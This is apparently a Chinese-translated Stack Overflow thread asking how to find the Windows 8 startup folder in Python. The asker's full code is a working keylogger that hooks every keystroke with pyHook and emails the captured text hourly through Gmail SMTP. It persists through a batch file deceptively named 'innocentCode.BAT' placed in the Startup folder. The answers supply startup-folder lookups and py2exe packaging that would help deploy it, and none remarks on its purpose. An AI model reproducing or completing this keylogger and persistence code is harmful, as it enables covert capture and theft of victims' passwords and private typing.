使用python在Windows 8中查找启动文件夹

时间:2014-11-25 13:11:39

标签: python windows pywin32

我有一个代码,可以将批处理文件添加到启动文件夹中,以便在计算机启动时运行。 我的代码如下:

path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Batch.BAT' %win32api.GetUserName()
f = open(path, 'w')

这在Win 7上工作正常,但在Win8中,启动文件夹被移动,我无法找到它的访问权限。 如何找到合适的文件夹? 谢谢 艾萨克

更新:我的代码在.pyw中运行并运行但是一旦我将其转换为.exe它就没有...这个我不明白

完整代码:

import win32api
import sys
import pythoncom, pyHook
import time
import smtplib
import thread
import re
import os

global text
global start
def main():
global text
global start
text = ''
start = time.time()
AddToStartUp(fixpath(findDirectory()))
while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard() 
    pythoncom.PumpMessages()

def sendemail(from_addr, to_addr_list, cc_addr_list,
          subject, message,
          login, password,
          smtpserver='smtp.gmail.com:587'):
header  = 'From: %s\n' % from_addr
header += 'To: %s\n' % ','.join(to_addr_list)
header += 'Cc: %s\n' % ','.join(cc_addr_list)
header += 'Subject: %s\n\n' % subject
message = header + message

server = smtplib.SMTP(smtpserver)
server.starttls()
server.login(login,password)

problems = server.sendmail(from_addr, to_addr_list, message)
server.quit()
return problems


def OnKeyboardEvent(event):
global start
global text
text += chr(event.Ascii)
print text
if time.time()-start > 3600:
    thread.start_new_thread(sendemail, ('email','email','','Keylogger',text,'email','password'))
    start = time.time()
return True
def fixpath(path):
arr = re.split(r'\\', path)
direct = ''
for i in arr:
    direct += i + '\\'
return direct

def AddToStartUp(direct):
path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\innocentCode.BAT' %win32api.GetUserName()
f = open(path, 'w')
f.write("""cd %s\nstart keylogger\nexit"""%direct)

def findDirectory():
return os.path.dirname(os.path.realpath(__file__))

if __name__ == "__main__":
main()

5 个答案:

答案 0 :(得分:1)

以下代码显示了如何通过win32 api找到它。我曾经发现它在网上搜索 - 没有我的信用。

from win32com.shell import shell, shellcon

def startupdirectory():
    return shell.SHGetFolderPath(
        0,
        shellcon.CSIDL_COMMON_STARTUP,
        0,# null access token (no impersonation)
        0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work
        )

if __name__ == '__main__':
    print startupdirectory()

答案 1 :(得分:1)

from win32com.shell import shell, shellcon

def get_startup_directory(common):
    """
    Copyright Tim Golden <winshell@timgolden.me.uk> 25th November 2003 - 2012
    Licensed under the (GPL-compatible) MIT License:
    http://www.opensource.org/licenses/mit-license.php
    """
    return shell.SHGetFolderPath(0, (shellcon.CSIDL_STARTUP, shellcon.CSIDL_COMMON_STARTUP)[common], None, 0)

get_startup_directory(0) # 'C:\\Users\\<USERNAME>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'
get_startup_directory(1) # 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'

答案 2 :(得分:0)

我个人喜欢使用PyWin32和Tim Golden的winshell module。这允许你做这样的事情来获取启动文件夹:

import winshell

startup = winshell.startup()

winshell模块还为许多其他常见位置提供路径,例如桌面,开始菜单,收藏夹等。它还可以创建快捷方式并使用回收站。

答案 3 :(得分:-1)

我阅读this article并获得以下信息。

Windows 8中的“当前用户启动”文件夹位于:

C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

这些程序仅针对当前登录用户启动。要直接访问此文件夹,请打开“运行”,键入shell:startup并按Enter键。

所有用户Windows 8启动文件夹位于:

 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

这些程序适用于所有用户。要打开此文件夹,请打开“运行”框,键入shell:common startup并按Enter键。

代码:此代码只检索用户名,然后将其添加到路径中。稍后它会检查路径是否真的存在,如果它存在,则会打印Path Exists!

import getpass
import os.path
userName = getpass.getuser()
file_path= 'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Batch.BAT' %userName
if os.path.exists(file_path):
      print 'Path Exists!'

以下代码适用于创建可执行文件。您必须在以下代码中输入您的python文件名而不是filename.py。如果您要创建GUI应用程序,则只需将此行console=['filename.py'],替换为windows=['filename.py'],

即可

<强> setup.py

from distutils.core import setup
import py2exe

dll_excludes = ['OLEAUT32.dll','USER32.dll','COMCTL32.dll','SHELL32.dll',
                'ole32.dll','MSVCP90.dll','WINMM.dll','WSOCK32.dll',
                'COMDLG32.dll','ADVAPI32.dll','NETAPI32.dll','WS2_32.dll',
                'WINSPOOL.DRV','GDI32.dll','RPCRT4.dll','VERSION.dll',
                'KERNEL32.dll','ntdll.dll']

setup (
    name='Test',
    description="Script to test py2exe for packaging",
    version="0.1",
    console=['filename.py'],#Enter the python file name here
    platforms=["windows"],
    options={ 'py2exe': {
            'packages': 'encodings',
            "excludes": dll_excludes,
            }
        },
    )

答案 4 :(得分:-1)

此代码适用于所有Windows版本,而不是Python外部库。

    import win32api, win32con
    objShell = win32com.client.Dispatch("WScript.Shell")       
    startupFlder = objShell.SpecialFolders("Startup")